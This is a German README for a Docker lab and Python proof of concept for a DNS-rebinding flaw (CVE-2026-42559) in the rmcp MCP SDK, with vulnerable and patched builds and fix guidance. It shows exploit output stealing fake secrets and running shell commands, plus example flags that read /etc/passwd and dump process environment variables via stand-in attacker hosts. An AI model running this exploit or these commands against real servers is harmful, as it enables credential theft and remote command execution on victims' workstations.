
Docker-Lab und Python-Proof-of-Concept, das DNS-Rebinding über einen nicht validierten Host-Header im rmcp Streamable HTTP Server Transport demonstriert (CVE-2026-42559). Enthält verwundbare und gepatchte Builds zum Testen.
| Betroffen | rmcp — das offizielle Rust-SDK für das Model Context Protocol — < 1.4.0 |
| Behoben in | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (Origin-Validierungsfehler), CWE-350 |
| CVSS 3.1 | 8.8 Hoch — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Der Streamable-HTTP-Server-Transport in rmcp < 1.4.0 hat den eingehenden
Host-Header nie überprüft. MCP-Server sind typischerweise an Loopback gebunden
und werden nur durch die Same-Origin-Policy des Browsers geschützt — die DNS-Rebinding
aushebelt:
http://evil.example, ausgeliefert mit einer DNS-TTL von 1 Sekunde.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …) auf. Die Anfrage landet
auf dem lokalen MCP-Server des Opfers, aber der Browser behandelt sie weiterhin als
Same-Origin — kein CORS-Preflight, und das JavaScript kann jede Antwort lesen.Das Einzige, was diese Anfrage von einer legitimen unterscheidet, ist der
Host-Header: evil.example:8000 statt 127.0.0.1:8000. Ohne Validierung erhält die
Seite des Angreifers eine vollständige MCP-Sitzung und kann jedes Tool aufzählen und aufrufen,
das der Server bereitstellt — Dateilesen, Schreiben, Shell-Ausführung, was auch immer der
Assistent konfiguriert war zu tun.
1.4.0 fügte StreamableHttpServerConfig::allowed_hosts hinzu, standardmäßig
["localhost", "127.0.0.1", "::1"], sowie ein validate_dns_rebinding_headers()-Gate
am Anfang des Request-Handlers, das andernfalls mit 403 Forbidden antwortet.
.
├── docker-compose.yml # zwei Dienste, gleiche Quelle, unterschiedliche rmcp-Version
├── mcp-server/ # ein realistischer „Entwicklungsassistent“-MCP-Server
│ ├── Cargo.toml
│ ├── Dockerfile # RMCP_VERSION-Build-Argument pinnt die Crate
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, keine Abhängigkeiten
Beide Container bauen dieselbe src/main.rs mit derselben Serverkonfiguration.
Der einzige Unterschied ist die gepinnte Crate-Version, sodass die Verhaltensänderung
vollständig aus der Bibliothek stammt:
| Dienst | Port | rmcp | Erwartung |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | gefälschter Host akzeptiert → vollständige Kompromittierung |
patched | 127.0.0.1:8001 | 1.4.0 | gefälschter Host → 403 Forbidden |
Der Server stellt whoami, read_file und run_command bereit, und das Image ist
mit gefälschten Anmeldedaten unter /home/dev/project/.env und
/home/dev/.ssh/id_ed25519 bestückt, damit der Exploit etwas zu stehlen hat.
docker compose up -d --build
Den verwundbaren Build ausnutzen:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- Host header is not validated
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.3.0
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] step 2: enumerating the tools now exposed to the attacker's page
- read_file Read a file from the workstation
- run_command Run a shell command on the workstation
- whoami Describe the workstation this assistant runs on
[*] step 3: invoking tools as if the attacker page were a local MCP client
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] arbitrary read and command execution on the victim host, from a web page
Dann den gepatchten Build, um den Fix zu bestätigen:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.4.0
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)
Der Exit-Code ist 1, wenn das Ziel verwundbar ist, und 0, wenn nicht, sodass das
Skript direkt in CI eingesetzt werden kann.
Nützliche Flags:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
Herunterfahren mit docker compose down.
Der Exploit öffnet eine TCP-Verbindung zum Ziel und schreibt einen
angreiferkontrollierten Host-Header (http.client.putrequest(..., skip_host=True)).
Das ist byte-für-byte die Anfrage, die ein rebound Browser aussendet — DNS-Rebinding ist
nur der Mechanismus, der einen Browser dazu bringt, einen fremden Host an einen Loopback-Socket
zu senden. Die Reproduktion auf diese Weise hält das Lab auf zwei Container und ohne DNS-
Infrastruktur, während genau der Codepfad getestet wird, um den es in der CVE geht.
// 1. Upgrade.
// rmcp = "1.4" (oder später)
// 2. Nur-Loopback ist ab 1.4.0 der Standard — nichts zu tun
// für einen lokal gebundenen Server.
let config = StreamableHttpServerConfig::default();
// 3. Für eine echte öffentliche Bereitstellung: eigene Namen auf die Whitelist setzen.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
Wenn Sie nicht upgraden können, beenden Sie den MCP-Endpunkt hinter einem Reverse-Proxy, der
unbekannte Host-Werte ablehnt, und binden Sie den Server nicht ohne einen solchen an 0.0.0.0.
disable_allowed_hosts() existiert, führt aber genau diesen Fehler wieder ein.
Alles hier ist absichtlich verwundbar und dient der Forschung und Bildung. Die Container setzen absichtlich ein Shell-Ausführungstool ein — führen Sie das Lab nur auf einer Maschine aus, die Ihnen gehört, und richten Sie den Exploit niemals gegen einen Host, den Sie nicht testen dürfen.